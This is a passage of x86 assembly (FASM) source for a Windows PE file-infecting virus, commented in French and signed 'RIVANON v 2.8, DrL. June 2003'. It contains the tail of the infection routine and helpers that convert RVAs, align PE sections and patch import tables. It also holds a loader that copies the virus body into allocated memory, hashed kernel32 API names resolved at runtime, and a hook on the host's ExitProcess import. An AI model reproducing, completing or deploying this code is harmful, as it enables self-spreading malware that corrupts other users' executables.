stdcall [SetFilePointer+ebp],[handle_fichier_cible+ebp],\
dword [edi.WFD_nFileSizeLow],ebx,ebx

stdcall [SetEndOfFile+ebp],[handle_fichier_cible+ebp]

stdcall [CloseHandle+ebp],[handle_fichier_cible+ebp]

;[Fin de la fermeture du fichier cible]

popad
ret

;[Fin de la fonction infectieuse]




;[Debut de la fonction de recopie d'une chaine de caracteres terminee par 0]:
copie_chaine:

pushad
octet_suivant:
lodsb
stosb		;meme le 0 final de la chaine est recopie
cmp al,0
jnz octet_suivant
popad
ret

;[Fin de la fonction de recopie]

;[Debut de la fonction de conversion d'une RVA en une adresse dans le fichier
;image memoire]:

rva_vers_adr_map:

pop eax
xchg eax,[esp]
pushad
;mov ebx,dword [esp+36]
mov edx,[adr_map_IMAGE_FILE_HEADER_cible+ebp]
movzx ecx,word [edx.FH_NumberOfSections]

mov esi,[adr_map_IMAGE_SECTION_HEADER_cible+ebp]

cherche_section_par_rva:
cmp dword [esi.SH_VirtualAddress],eax
ja rva_localise
add esi,sizeof.IMAGE_SECTION_HEADER
loop cherche_section_par_rva

rva_localise:
sub esi,sizeof.IMAGE_SECTION_HEADER
sub eax,dword [esi.SH_VirtualAddress]
add eax,dword [esi.SH_PointerToRawData]
add eax,[adr_map_cible+ebp]
mov dword [esp+28],eax
popad
ret


;[Fin de la fonction de conversion d'une RVA]


;[Debut de la fonction de conversion d'une adresse dans l'image memoire
;d'un fichier en une RVA]:

adr_map_vers_rva:
pop eax
xchg eax,[esp]
pushad
sub eax,[adr_map_cible+ebp]
mov edx,[adr_map_IMAGE_FILE_HEADER_cible+ebp]
movzx ecx,word [edx.FH_NumberOfSections]

mov esi,[adr_map_IMAGE_SECTION_HEADER_cible+ebp]

cherche_section:
cmp dword [esi.SH_PointerToRawData],eax
ja section_trouve
add esi,sizeof.IMAGE_SECTION_HEADER
loop cherche_section

section_trouve:
sub esi,sizeof.IMAGE_SECTION_HEADER
sub eax,dword [esi.SH_PointerToRawData]
add eax,dword [esi.SH_VirtualAddress]
mov dword [esp+28],eax
popad
ret

;[Fin de la fonction de conversion d'une adresse de l'image memoire
;d'un fichier]


;[Debut de la fonction d'alignement des champs taille d'une section]:

aligne:

;les champs taille de la section sur laquelle pointe esi sont alignes

pushad

mov edi,[adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp]

;alignement memoire
mov ebx,dword [edi.OH_SectionAlignment]
dec ebx
xor edx,edx
lea ecx,[esi.SH_VirtualSize]
mov eax,[ecx]
add eax,ebx
inc ebx
div ebx
mul ebx
mov [ecx],eax

;alignement fichier

mov ebx,dword [edi.OH_FileAlignment]
dec ebx
lea ecx,[esi.SH_SizeOfRawData]
mov eax,[ecx]
add eax,ebx
inc ebx
div ebx
mul ebx
mov [ecx],eax
popad
ret

;[Fin de la fonction d'alignement]


;[Debut du code du loader du virus]:

debut_loader:
pushad
db 0a1H		;mov eax,[<adr>]
ptr2_mem_alloc_sect_data_hote dd ?
push eax
test eax,eax
jnz exit_loader
pop eax
push 8000
push GPTR
db 0ffh,15h	;call [<adr>] appel a GlobalAlloc en fait
ptr2_adr_globalalloc dd ?
push eax
mov edi,eax
mov ecx,TAILLE_VIRUS
db 0beh		;mov esi,adr
adr_fin_derniere_sect_hote dd ?
cld
rep movsb
exit_loader:
ret
TAILLE_LOADER=$-debut_loader

;[Fin du code du loader]

;zone de donnees qui vont etre greffees au programme cible:

adr_espace_libre_sect_code_cible		dd __ExitProcess
adr_espace_libre_sect_code_hote			dd 0
adr_image_base					dd ADR_BASE
rva_orig_1st_thunk_avant_infection_hote		dd RVA ID_OriginalFirstThunk_k32
index_fct_k32_altere_hote			dd 0
sz_nom_fct_k32_altere_hote			db 'ExitProcess'
rb 30
sz_type_extension_fichier_cible			db NOM_FICHIER_RECHERCHE
sz_nom_globalalloc				db 'GlobalAlloc',0
signature					db 'RIVANON v 2.8, DrL. June 2003'

;Les deux tables qui suivent doivent etre collees l'une a l'autre et l'ordre des elements
;de ces tables respecte.

tab_condense:

dd 0fdbe9ddfh		;CloseHandle
dd 04b00fba1h		;CreateFileA
dd 00d6ea22eh		;CreateFileMappingA
dd 0be307c51h		;CreateThread
dd 0be7b8631h		;FindClose
dd 0c915738fh		;FindFirstFileA
dd 08851f43dh		;FindNextFileA
dd 040bf2f84h		;GetProcAddress
dd 032beddc3h		;MapViewOfFile
dd 0bc738ae6h		;SetEndOfFile
dd 06d452a3ah		;SetFilePointer
dd 03a00e23bh		;Sleep
dd 0fae00d65h		;UnmapViewOfFile
dd 04e5de044h		;ExitThread

NBRE_FCT_K32_VIRUS=($-tab_condense)/4
TAILLE_VIRUS=$-debut_virus
TAILLE_VIRUS_ALIGNE_FICHIER=200h*((TAILLE_VIRUS+1ffh)/200h)
TAILLE_VIRUS_ALIGNE_MEMOIRE=1000h*((TAILLE_VIRUS+0fffh)/1000h)


;[Fin du virus]

tab_adr_fct_k32_virus:
CloseHandle								dd 0
CreateFileA								dd 0
CreateFileMappingA							dd 0
CreateThread								dd 0
FindClose								dd 0
FindFirstFileA								dd 0
FindNextFileA								dd 0
GetProcAddress								dd 0
MapViewOfFile								dd 0
SetEndOfFile								dd 0
SetFilePointer								dd 0
Sleep									dd 0
UnmapViewOfFile								dd 0
ExitThread								dd 0


condense								dd ?
adr_map_IMAGE_OPTIONAL_HEADER_cible					dd ?
adr_map_IMAGE_SECTION_HEADER_cible					dd ?
adr_map_IMAGE_FILE_HEADER_cible						dd ?
adr_map_IMAGE_IMPORT_DESCRIPTOR_cible					dd ?
rva_IMAGE_IMPORT_DESCRIPTOR_cible					dd ?
rva_IMAGE_IMPORT_BY_NAME_cible						dd ?
adr_map_cible								dd ?
thread_id								dd ?
handle_fichier_cible							dd ?
handle_map_cible							dd ?
nbre_octet_libre_sect_code_cible					dd ?
adr_map_espace_libre_sect_code_cible					dd ?
adr_map_espace_libre_sect_data_cible					dd ?
adr_map_1st_thunk_k32_cible						dd ?
adr_map_original_1st_thunk_k32_cible					dd ?
index_tab_image_import_by_name_k32_cible				dd ?
nbre_fct_k32_cible							dd ?
adr_map_loader_sect_code_cible						dd ?

struct_recherche rb sizeof.WIN32_FIND_DATA

tab_adr_fct_k32_hote:
rd 2		;pour la generation 0



section 'idata' import data readable writeable

;IMAGE_IMPORT_DESCRIPTOR:
dd RVA ID_OriginalFirstThunk_k32,0,0,RVA ID_Name_k32,RVA ID_FirstThunk_k32
dd RVA ID_OriginalFirstThunk_u32,0,0,RVA ID_Name_u32,RVA ID_FirstThunk_u32
dd 0,0,0,0,0

ID_Name_k32	db 'KERNEL32.DLL',0
ID_Name_u32	db 'USER32.DLL',0

ID_OriginalFirstThunk_k32	dd RVA image_import_by_name_k32_01
				dd RVA image_import_by_name_k32_02
				dd 0

ID_FirstThunk_k32:
ExitProcess			dd RVA image_import_by_name_k32_01
_Sleep				dd RVA image_import_by_name_k32_02
				dd 0

ID_OriginalFirstThunk_u32	dd RVA image_import_by_name_u32
				dd 0
ID_FirstThunk_u32:
MessageBoxA			dd RVA image_import_by_name_u32
				dd 0

;IMAGE_IMPORT_BY_NAME:
image_import_by_name_k32_01	dw 0
				db 'ExitProcess',0
image_import_by_name_k32_02	dw 0
				db 'Sleep',0

image_import_by_name_u32	dw 0
				db 'MessageBoxA',0






























